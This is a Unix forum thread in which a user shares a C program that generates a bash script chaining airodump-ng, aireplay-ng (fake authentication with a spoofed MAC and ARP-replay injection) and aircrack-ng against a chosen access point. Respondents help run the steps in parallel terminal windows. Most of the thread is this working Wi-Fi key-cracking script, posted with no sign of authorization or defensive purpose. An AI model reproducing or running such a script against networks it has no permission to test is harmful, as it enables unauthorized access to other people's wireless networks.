|
google site
|
|||||||
| Forums | Register | Blog | Man Pages | Forum Rules | Links | Albums | FAQ | Users | Calendar | Search | Today's Posts | Mark Forums Read |
| Shell Programming and Scripting Post questions about KSH, CSH, SH, BASH, PERL, PHP, SED, AWK and OTHER shell scripts and shell scripting languages here. |
![]() |
|
|
Thread Tools | Search this Thread | Display Modes |
|
#1
|
|||
|
|||
|
Okay, so I'm a little familiar with C and Linux, but my shell scripting experience is limited to say the least. I know that you begin a shell script with this Code:
#!/bin/bash Basically, I've written a C program that's output writes to a shell script. What my problem is, is I would like this shell script to basically work like this #!/bin/bash 1.preform first command in the starting shell 2. open a second shell and write second command to second shell, wait till second command finishes, then write 3rd command into this shell 3. open 3rd and final shell and execute the final command I understand this may be a confusing question, but any help would be appreciated. Last edited by beatzz; 03-08-2009 at 09:54 PM.. Reason: spelling |
| Sponsored Links | ||
|
|
|
#2
|
||||
|
||||
|
Based from what you mentioned, simply running the three commands in sequence should anyway do what you want. Care to post some code?
|
|
#3
|
|||
|
|||
|
My program crackrocks Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
int i;
for(i=0;i<size;++i){
if(str[i]=='\n'){
str[i]='\0';
return;
}
}
}
int main()
{
char bssid[20];
char essid[20];
int channel;
printf("AP BSSID:");
fgets(bssid,20,stdin);
strip_newline(bssid,20);
printf("AP ESSID:");
fgets(essid,20,stdin);
strip_newline(essid,20);
printf("AP CHANNEL:");
scanf("%d",&channel);
FILE *crackrocks;
crackrocks=fopen("crackrocks-out","w");
fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
fclose(crackrocks);
getchar();
return 0;
}Now, when I execute the script file it outputs, which is all correct, it sticks on the fist command, airodump, and it dosent show me the other 3 commands running or if they even start at all. So I would like each command to be in their own seperate window. I know its possible, anything is possible on computers. just gata figure it out |
|
#4
|
||||
|
||||
|
Change to below code and retry: Code:
fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0 & \naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\nwait \n",channel,bssid,essid,essid,bssid,bssid,bssid,essid); This basically puts all the three commands in background and waits for all of them to get over. You can tweak this based on your exact requirements. I suggest you first modify & test the script separately and when it works, incorporate into your c program. |
|
#5
|
|||
|
|||
|
Okay, so I edited my code to include your line of fprintf. Here it is. We are close to success, but not there yet. Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
int i;
for(i=0;i<size;++i){
if(str[i]=='\n'){
str[i]='\0';
return;
}
}
}
int main()
{
char bssid[20];
char essid[20];
int channel;
printf("AP BSSID:");
fgets(bssid,20,stdin);
strip_newline(bssid,20);
printf("AP ESSID:");
fgets(essid,20,stdin);
strip_newline(essid,20);
printf("AP CHANNEL:");
scanf("%d",&channel);
FILE *crackrocks;
crackrocks=fopen("crackrocks-out","w");
fprintf(crackrocks,"#!/bin/bash\n\nkonsole -e airodump-ng -c %d -d '%s' -w %s mon0 & \nkonsole -e aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aircrack-ng -z -b %s '%s'*.cap\nwait\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
fclose(crackrocks);
getchar();
return 0;
}Now, this code compiles just fine using gcc. However, there is a flaw. When I execute the shell script generated by this program, I receive this error. Code:
beatzz@hax0r:~/hack$ ./crackrocks-out kdecore (KProcess): WARNING: _attachPty() 11 kdecore (KProcess): WARNING: _attachPty() 11 kdecore (KProcess): WARNING: _attachPty() 11 kdecore (KProcess): WARNING: _attachPty() 11 beatzz@hax0r:~/hack$ It dose accomplish my goal of opening multiple windows, but it still doesn't work right either. |
| Sponsored Links | ||
|
|
![]() |
| Bookmarks |
| Thread Tools | Search this Thread |
| Display Modes | |
|
|
More UNIX and Linux Forum Topics You Might Find Helpful
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| N00b In Need! | davesimm | UNIX for Dummies Questions & Answers | 1 | 09-20-2007 06:55 AM |
| N00b question on CPU % in top | kskywr | UNIX for Dummies Questions & Answers | 3 | 01-09-2007 11:01 PM |
| Absolute n00b questions about Unix / Linux | CodeHunter | UNIX for Dummies Questions & Answers | 2 | 02-24-2005 08:46 AM |
| OpenBSD N00b: HELP ME!!! AGGGH!! | deckard | UNIX for Dummies Questions & Answers | 1 | 02-23-2005 04:24 PM |
| another scripting question | kristy | UNIX for Dummies Questions & Answers | 1 | 05-07-2001 12:02 PM |